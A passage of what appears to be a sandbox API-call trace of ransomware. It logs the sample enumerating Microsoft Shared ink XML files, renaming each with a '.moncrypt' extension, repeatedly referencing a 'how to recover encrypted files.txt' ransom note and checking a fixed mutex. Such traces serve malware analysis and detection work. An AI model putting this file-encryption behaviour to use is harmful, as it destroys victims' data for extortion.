cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.588] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\main\\base_kor.xmld", lpUsedDefaultChar=0x0) returned 4 [0046.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 0x54e280 [0046.588] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.588] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.588] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", dwFileAttributes=0x20) returned 0 [0046.626] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.moncrypt")) returned 0 [0046.644] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.644] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.645] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.645] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.645] GlobalUnlock (hMem=0x44000c) returned 0 [0046.645] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.645] GlobalLock (hMem=0x440004) returned 0x555198 [0046.645] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.645] GlobalUnlock (hMem=0x44000c) returned 0 [0046.645] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.645] GlobalUnlock (hMem=0x440004) returned 0 [0046.645] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.645] CharLowerBuffW (in: lpsz="base_rtl.xml", cchLength=0xc | out: lpsz="base_rtl.xml") returned 0xc [0046.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.646] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\main\\base_rtl.xmld", lpUsedDefaultChar=0x0) returned 4 [0046.646] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 0x54e280 [0046.646] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.646] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.646] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", dwFileAttributes=0x20) returned 0 [0046.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.647] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.moncrypt")) returned 0 [0046.647] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.647] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.647] GlobalLock (hMem=0x440004) returned 0x553188 [0046.647] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.647] GlobalUnlock (hMem=0x440004) returned 0 [0046.647] GlobalLock (hMem=0x440004) returned 0x553188 [0046.647] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.647] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.648] GlobalUnlock (hMem=0x440004) returned 0 [0046.648] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.648] GlobalUnlock (hMem=0x44000c) returned 0 [0046.648] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.648] CharLowerBuffW (in: lpsz="ja-jp.xml", cchLength=0x9 | out: lpsz="ja-jp.xml") returned 0x9 [0046.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.648] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.648] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpUsedDefaultChar=0x0) returned 4 [0046.648] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 0x54e280 [0046.648] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.648] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.649] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", dwFileAttributes=0x20) returned 0 [0046.713] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.moncrypt")) returned 0 [0046.713] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.713] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.713] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.713] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.713] GlobalUnlock (hMem=0x44000c) returned 0 [0046.713] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.713] GlobalLock (hMem=0x440004) returned 0x555198 [0046.713] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.713] GlobalUnlock (hMem=0x44000c) returned 0 [0046.713] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.713] GlobalUnlock (hMem=0x440004) returned 0 [0046.713] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.713] CharLowerBuffW (in: lpsz="ko-kr.xml", cchLength=0x9 | out: lpsz="ko-kr.xml") returned 0x9 [0046.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.714] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.714] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpUsedDefaultChar=0x0) returned 4 [0046.714] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 0x54e280 [0046.714] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.714] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.714] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", dwFileAttributes=0x20) returned 0 [0046.715] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.moncrypt")) returned 0 [0046.715] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.715] GlobalLock (hMem=0x440004) returned 0x552180 [0046.715] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.715] GlobalUnlock (hMem=0x440004) returned 0 [0046.715] GlobalLock (hMem=0x440004) returned 0x552180 [0046.715] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.715] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.715] GlobalUnlock (hMem=0x440004) returned 0 [0046.715] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.715] GlobalUnlock (hMem=0x44000c) returned 0 [0046.715] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d066be0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d066be0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.715] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.715] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.715] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.715] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.715] GlobalUnlock (hMem=0x44000c) returned 0 [0046.715] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.715] GlobalLock (hMem=0x440004) returned 0x554190 [0046.715] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.715] GlobalUnlock (hMem=0x44000c) returned 0 [0046.715] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.715] GlobalUnlock (hMem=0x440004) returned 0 [0046.715] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.716] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d066be0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d066be0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.716] 